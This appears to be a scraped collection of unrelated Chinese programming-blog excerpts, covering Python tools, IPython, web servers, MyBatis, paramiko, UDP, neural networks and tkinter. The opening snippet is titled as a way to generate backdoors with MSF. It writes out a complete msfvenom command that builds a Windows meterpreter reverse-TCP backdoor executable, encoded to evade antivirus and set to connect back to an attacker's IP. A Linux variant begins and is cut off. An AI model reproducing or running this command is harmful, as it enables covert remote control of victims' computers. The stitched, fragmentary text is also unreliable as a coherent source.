MSF 生成各种后门 Windows: 生成Windows后门. msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST= 攻击机IP LPORT=攻击机端口 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o payload.exe Linux: msfvenom -a x86 --platform Linux -p linux/x86/me

pip 是python的包管理器工具,类似linux的apt-get.yum包管理器,主要是用来进行安装python库, pip默认从官方源pypi.python.org下载数据,国内速度相对比较慢, windows 下,通过在用户目录下建立一个pip.ini,指定pip使用国内的源,下载速度会快上好多倍. 豆瓣的pip源优先支持https,所以这里选择使用了豆瓣源. 运行以下python代码会自动建立pip.ini """ python建立pip.ini.py 2016年4

python建立网站相关学习资源: 1. 一整套教程:http://www.pythondoc.com/flask-mega-tutorial/helloworld.html 2. 知乎关于这个问题的答案:https://www.zhihu.com/question/31353023 3. python爬虫建站入门手记:http://segmentfault.com/a/1190000002543828

一个 python 的交互式 shell,比默认的python shell 好用得多,支持变量自动补全,自动缩进,支持 bash shell 命令,内置了许多很有用的功能和函数. 若用的是fish shell,建议使用virtualfish替代 virtualenvwrapper:  https://github.com/adambrenecki/virtualfish,注意,如果使用 vf new -p /usr/bin/python3.5 env35 创建出错,可以使用 sudo pip i

ipython: 是python的交互式shell工具,比默认的python shell工具要好用.支持变了自动补全,自动缩进,内置了很多的功能和函数 启动:可以通过cmd来启动该工具 自动补全: In [12]: import os In [13]: os.w  #直接回车,会自动显示出来该模块下的所有方法,如果我们忘记了os模块的方法具有哪些,方法记不全就可以采用这个办法os.waitpid os.walk os.write %env显示环境变量 %hist 或 %history显示历史记录

pid_t setsid(void) 1.调用进程不能是进程组组长,该进程变成新会话首进程(session header) 2.该进程成为一个新进程组的组长进程. 3.需有root权限(ubuntu不需要) 4.新会话丢弃原有的控制终端,该会话没有控制终端 5.该调用进程是组长进程,则出错返回 6.建立新会话时,先调用fork, 父进程终止,子进程调用 pid_t getsid(pid_t pid) 1.pid为0表示察看当前进程session ID 2.ps ajx命令查看系统中的进程.参数a

上篇文章中介绍了我们使用mybatis前的准备工作,并在程序中通过jdbc与mysql数据库成功建立连接,接下来介绍如何使用mybatis与数据库建立会话.我们需要以下几个步骤: 1.在build path中引入mybatis的jar包. 2.新建mybatis数据库配置文件SqlMapConfig.xml,它是一个xml文件,可以是任意名称,内容如下: <?xml version="1.0" encoding="UTF-8" ?> <!DOCTY

Python+requests维持会话 一.使用Python+requests发送请求,为什么要维持会话? 我们是通过http协议来访问web网页的,而http协议是无法维持会话之间的状态.比如说我们成功登录一个网站的后,去访问这个网站的其他页面的时候,登录状态会消失.所以导致页面刷新后就需要反复重新登录来维持会话.非常繁琐.所以我们需要通过cookies或者Session来维持会话.下面举个没有维持会话,请求响应失败的例子 代码: import requests import json '''

Python建立Tab自动补全的脚本 #!/usr/bin/python #python steup file import sys import readline import rlcompleter import atexit import os # tab completion readline.parse_and_bind('tab: complete') #history file histfile = os.path.join(os.environ['HOME'], '.python

利用Python自带的包可以建立简单的web服务器.在DOS里cd到准备做服务器根目录的路径下,输入命令: python -m Web服务器模块 [端口号,默认8000] 例如: python -m SimpleHTTPServer 8080 然后就可以在浏览器中输入 http://localhost:端口号/路径 来访问服务器资源. 例如: http://localhost:8080/index.htm(当然index.htm文件得自己创建) 其他机器也可以通过服务器的IP地址来访问. 这里的

paramiko是用python语言写的一个模块,遵循SSH2协议,支持以加密和认证的方式,进行远程服务器的连接 安装过程也比较简单,先安装pycrypto后安装paramiko,解压后在命令提示符下切换到解压后的目录,输入python setup.py install就可以了.另外安装pycrypto前需要先安装mingw,不然会因为缺少编译器而提示缺少一个BAT文件.安装好mingw后,需要在Python安装目录下的Lib\distutils\文件夹里建立一个distutils.cfg文件,

1.进程和线程 (1)进程是一个执行中的程序.每个进程都拥有自己的地址空间.内存.数据栈以及其他用于跟踪执行的辅助数据.进程也可以派生新的进程来执行其他任务,不过每个新进程都拥有自己的内存和数据栈,所以只能采用进程间通信(IPC)的方式共享信息. (2)线程与进程类似,不过他们是在同一个进程下执行的,并共享相同的上下文.线程一般是以并发方式执行的,但是在单核CPU中真正的并发是不可能的,:每个线程运行一小会儿,然后让步给其他线(再次排队等待更多的CPU时间).但是,多线程访问同一片数据,由于访问

前几天发现一个可视化工具Dash,当看到它的交互式效果后突然就觉得眼前一亮.早就想写出来分享给大家,今天利用睡前一点时间发出来,希望能给有需要的朋友带来一点帮助或者多一个参考. Dash介绍 在Python语言环境里,有不少可视化解决方案,以前的公众号文章曾经介绍过几个.这些工具很适合利用静态数据来展示图形效果,如果要在数据基础之上增加交互功能,就需要额外增加不少代码.要么实现起来比较复杂,要么很难实现实时交互. 有了Dash以后,这个问题就好解决了. Dash是利用Flask.plotly.j

[From] http://www.cnblogs.com/xuxn/archive/2011/02/14/build-simple-web-server-with-python.html 利用Python自带的包可以建立简单的web服务器.在DOS里cd到准备做服务器根目录的路径下,输入命令: python -m Web服务器模块 [端口号,默认8000] 例如: python -m SimpleHTTPServer 8080 然后就可以在浏览器中输入 http://localhost:端口号

由于Mac自带Python 所以省去我们去下载了 打开终端  执行python stm-macmini:~ apple$ pythonPython 2.7.10 (default, Jul 14 2015, 19:46:27) [GCC 4.2.1 Compatible Apple LLVM 6.0 (clang-600.0.39)] on darwinType "help", "copyright", "credits" or "li

ipython的python比较优秀的交互式shell,比python console功能更加强大更加的贴近开发及调试程序,也支持在linux下直接执行linux命令 00x-install 源码安装 https://github.com/ipython/ipython/releases IPython versions and Python Support IPython 7.0 requires Python version 3.5 and above. IPython 6.x requir

原文地址:http://www.bugingcode.com/blog/python_html_web_server.html python作为工具,提供了很多好用的命令,比如有时候突然需要建立一个解析静态的html页面的服务器, 我们不需要在安装http服务器,python就能够轻松简单的做到. 先创建一个index.html的页面: <h1>hello world</h1> 写上最简单的hello 代码. 用python开始web 服务器: python -m SimpleHT

首先我们要搭建一个UDP通信,首先我们就要知道什么UDP: UDP用户数据报传输协议,它位于TCP/IP协议的传输层,是一种无连接的协议,它发送的报文不能确定是否完整地到达了另外一端.UDP广泛应用于需要相互传输数据的网络应用中,如QQ使用的就是UDP协议.在网络质量不好的情况下,使用UDP协议时丢包现象十分严重,但UDP占用资源少,处理速度快,UDP依然是传输数据时常用的协议. 我们简单来说,UDP就相当于我们发送短信一样,不管对方有没有回应,我们是发送出去了的,这就行了. TCP和UDP的区

一.神经网络介绍: 神经网络算法参考人的神经元原理(轴突.树突.神经核),在很多神经元基础上构建神经网络模型,每个神经元可看作一个个学习单元.这些神经元采纳一定的特征作为输入,根据自身的模型得到输出. 图1 神经网络构造的例子(符号说明:上标[l]表示与第l层:上标(i)表示第i个例子:下标i表示矢量第i项) 图2 单层神经网络示例  神经元模型是先计算一个线性函数(z=Wx+b),接着再计算一个激活函数.一般来说,神经元模型的输出值是a=g(Wx+b),其中g是激活函数(sigmoid,tan

from tkinter import * # 导入tkinter模块的所有内容 root = Tk() # 创建一个文本Label对象 textLabel = Label(root, # 将内容绑定在 root 初始框上面 text="您所下载的影片含有未成年人限制内容,\n请满18岁后再点击观看!", justify=LEFT, # 用于 指明文本的 位置 padx=10) # 限制 文本的 位置 , padx 是 x轴的意思 . textLabel.pack(side=LEFT)

请参考如下连接的开源项目 源代码在本地测试好用. 注: 这里所用的Python 版本是 2.7.11 https://github.com/dmroeder/pylogix